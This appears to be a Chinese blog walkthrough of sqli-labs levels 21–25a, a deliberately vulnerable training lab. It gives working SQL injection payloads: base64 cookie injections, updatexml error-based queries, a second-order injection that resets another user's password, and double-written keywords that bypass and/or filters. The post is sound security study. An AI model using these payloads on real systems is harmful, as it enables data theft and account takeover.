sqli-labs(21-25a)

21 cookie注入-引号和括号闭合-base64编码

打开页面无从下手

image-20210727084613577

先看看源码吧

登录成功后,将用户名用base64编码存到名为uname的cookie中

image-20210727085835214

解码cookie,然后用cookie的值在数据库中查找,所以突破点就在登录成功后的cookie中,不登录进去就没办法展开攻击

image-20210727090257038

登录某个用户

image-20210727090442893

查看cookie

image-20210727090818957

这cookie不像是base64编码,使用url解码试试

解码后是base64编码

image-20210727090930529

base64解码,是用户名,看来和我前面描述的相符合

image-20210727091032154

接下来在cookie上做手脚,打开cookie editor

使用': Jw==,报错

image-20210727091825562

由报错可知''附近还有一个)

使用'Dumb) order by 2#:RHVtYicpIG9yZGVyIGJ5IDIj,返回结果,接下来测试发现order by 3返回结果

image-20210727092244747

order by 4:RHVtYicpIG9yZGVyIGJ5IDQj出现错误,可见字段名只有三个

image-20210727092452809

-Dumb') union select 1,2,3#:LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLDMj,2,3会输出结果

image-20210727092619074

接下来的操作就略过了

22 cookie注入-base64 -双引号

输入"后报错

image-20210727093241764

构造Dumb" order by 3#:RHVtYiIgIG9yZGVyIGJ5IDMj,和less21几乎没有区别,只是单引号,双引号和有无括号的区别

image-20210727093352366

略过

23 报错注入 - 过滤注释符#和--

打开页面,有点好看.页面提示将id作为数字变量

image-20210727093616303

?id=1'报错

image-20210727095418640

?id=1'--+; ?id=1'#报同样的错误,过滤掉了?

image-20210727095439571

查看源码,果然过滤掉了

image-20210727095729048

因为会报错,所以就用报错注入,获得数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

image-20210727100410969

获取表名?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) and '1'='1

image-20210727100701257

接下来略过

24 二阶注入

打开页面,cool

image-20210727100957917

题目说是二阶注入

二阶SQL注入简述

所谓二阶注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

二阶注入也是SQL注入的一种,与我们平时接触最多的一阶SQL注入相比利用门槛更高。普通的一阶SQL注入数据直接就进入到SQL查询中,而二阶SQL注入则是输入数据经处理后存储,然后取出数据,最后才进入到SQL查询。

二阶注入的流程如下:

· 攻击者在HTTP请求中提交某种经过构思的输入。

· 应用存储该输入(通常保存在数据库中)以便后面使用并响应请求。

· 攻击者提交第二个(不同的)请求。

· 为处理第二个请求,应用会检索已经存储的输入并处理它,从而导致攻击者注入的SQL查询被执行。

· 如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果。

img

接下来看看哪个页面有二阶注入漏洞,代码审计

忘记密码啥都没有

image-20210727103907173

登录界面:将用户名和密码进行转义,然后用转义后的进行查询,所以没有二阶注入

image-20210727105141236

改变密码界面:密码进行了转义,但是用户名未转义就带入数据库中查询,因此出现可乘之机

image-20210727105432531

上帝视角看一下,想改哪个用户的密码?

image-20210727105753767

要不改batman的吧,注册用户batman'#,密码为123456

image-20210727105939454

但是登不上去,真是奇怪

image-20210727110738349

简述一下下面操作

由于更改密码时用户名没有经过转义就在数据库中查询

因此#就起了作用,把后面的东西注释掉

batman'#在数据库查询语句中变成了"UPDATE users SET PASSWORD='$pass' where username='batman'#;

因此batman用户的密码就被更改了

防御策略

安全起见,如果转义,就每个地方均转义

25 报错-union-双写绕过or和and过滤-单引号

这界面越来越花里胡哨了,提示将id作为数字变量

image-20210727113549346

?id=1'报错,字符型注入

image-20210727142934311

?id=1'#,#被过滤,报错

image-20210727143001593

?id=1'--+正确显示结果,--未被过滤

image-20210727143126567

?id=1' oorrder by 3--+,or被过滤,使oorrder变成order,从而使结果正确显示,字段名有3个

image-20210727143232412

?id=-1' union select 1,database(),3 --+爆数据库

接下来的操作略过了,用到and时,用anand来绕过过滤

比如报错注入时?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) --+

看看源码

image-20210727144154941

源码只替换了and和or,没有对其他单词过滤,用双写oorr和anand来绕过就行了,我好奇为啥#也被过滤掉了

注意后面语句中information中的or也要双写

25a 数字型-or,and过滤

不得不说,界面真的越来越帅了,

image-20210727144938161

?id=1 order by 1#他把or过滤了,句子错误了,但是它没报错,不能用报错注入了

image-20210727145848767

只能根据是否返回结果来注入,同时双写or和and

?id=1 oorrder by 3#字段名为3

可用字段名为2,3?id=-1 union select 1,2,3#

image-20210727150334230

接下来略过

posted @ 2021-07-27 15:17  1ink  阅读(114)  评论(0编辑  收藏  举报